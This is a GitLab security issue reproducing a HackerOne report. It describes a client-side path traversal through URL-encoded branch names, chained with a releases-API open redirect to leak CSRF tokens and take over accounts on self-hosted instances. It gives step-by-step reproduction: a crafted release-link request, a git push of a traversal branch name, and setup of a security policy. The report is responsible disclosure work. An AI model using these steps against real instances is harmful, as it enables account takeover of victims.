Client Side Path Traversal leads to CSRF token leakage and ATO on self-hosted instances

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3257843 by swiftee on 2025-07-17, assigned to GitLab Team:

Report | How To Reproduce

Report

Summary

Hello Gitlab Team.
This is similar to these reports. It is possible to introduce path traversal sequences in branch name (using git) if you URL encode dot as %2E. The function projectProtectedBranch inserts branch name without encoding it in URL.

projectProtectedBranch(id, branchName) {  
    const url = Api.buildUrl(Api.projectProtectedBranchesNamePath)  
      .replace(':id', encodeURIComponent(id))  
      .replace(':name', branchName);

    return axios.get(url).then(({ data }) => data);  
  }  

When sending a request axios will decode dots and this will turn into path traversal sequence.
It is possible to escalate this to leaking csrf token / ATO when chaining this to open redirect. There is an open redirect in releases API, I reported it, but in that report open redirect was used in conjucntion with google openID quirk. Oauth part was fixed, but open redirect remained. This redirect can be used to escalate this Client Side Path Traversal

Steps to reproduce

Set up for open redirect
  1. You will need a Personal Access Token for creating a release asset link and later for escalating to account takeover. You can see how to create one here.
  2. Create a tag, name it tag1
  3. Create a release asset link that links to external resource. Insert in request the id of Your project, Your private token, name of the tag that was created as step 2 and external domain.
POST /api/v4/projects/YOUR_PROJECT_ID/releases   
Host: gitlab.com  
Private-Token: YOUR_PRIVATE_TOKEN  
Content-Type: application/json

{  
"name": "external",  
"tag_name": "tag1",  
"assets": {  
	"links": [  
	{  
		"name":"external",  
		"url":"https://EXTERNAL_DOMAIN",  
        "filepath":"/external"  
	}  
	]  
}
}  
  1. Go to https://gitlab.com/api/v4/projects/YOUR_PROJECT_ID/releases/tag1/downloads/external. You are redirected to external domain. This is open redirect.
Client Side Path Traversal

** As an attacker

  1. Create a public project
  2. Clone it to local
  3. Locally push new branch, You will use part of the api path from open redirect link
    git push origin HEAD:"%2E%2E/releases/tag1/downloads/external"
  4. Make this branch protected. Go to https://gitlab.com/YOUR_GROUP/YOUR_PROJECT/-/settings/repository#js-protected-branches-settings and click on "Add protected branch"
  5. Create a security Policy. In Your project go to Security>Policy. Click on "New Policy". Select "Merge request approval policy".
  6. In security policy create a rule that targets specific branch: the one with path traversal. Also choose some action for example "require approval from user" and select attacker user. Update security policy via merge request.

** As a victim (must be a member of said public project)

  1. Visit https://gitlab.com/YOUR_GROUP/YOUR_PROJECT/-/security/policies/POLICY_NAME/edit?type=approval_policy
  2. Click YAML mode, then rule mode

This will trigger axios request with path traversal that will go to external website.
On Gitlab.com this will be blocked by CSP connect-src, You will be able to see CSP errors in console. On self-hosted csp is disabled by default, so request will go through.

Impact

Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.

What is the current bug behavior?

Path traversal in branch name

What is the expected correct behavior?

Branch names should not have path traversal

Impact

Leaking CSRF token on self hosted instances that leads to full CSRF possible to perform an ATO adding an attacker email to victim account.

How To Reproduce

Please add reproducibility information to this section:

Assignee Loading
Time tracking Loading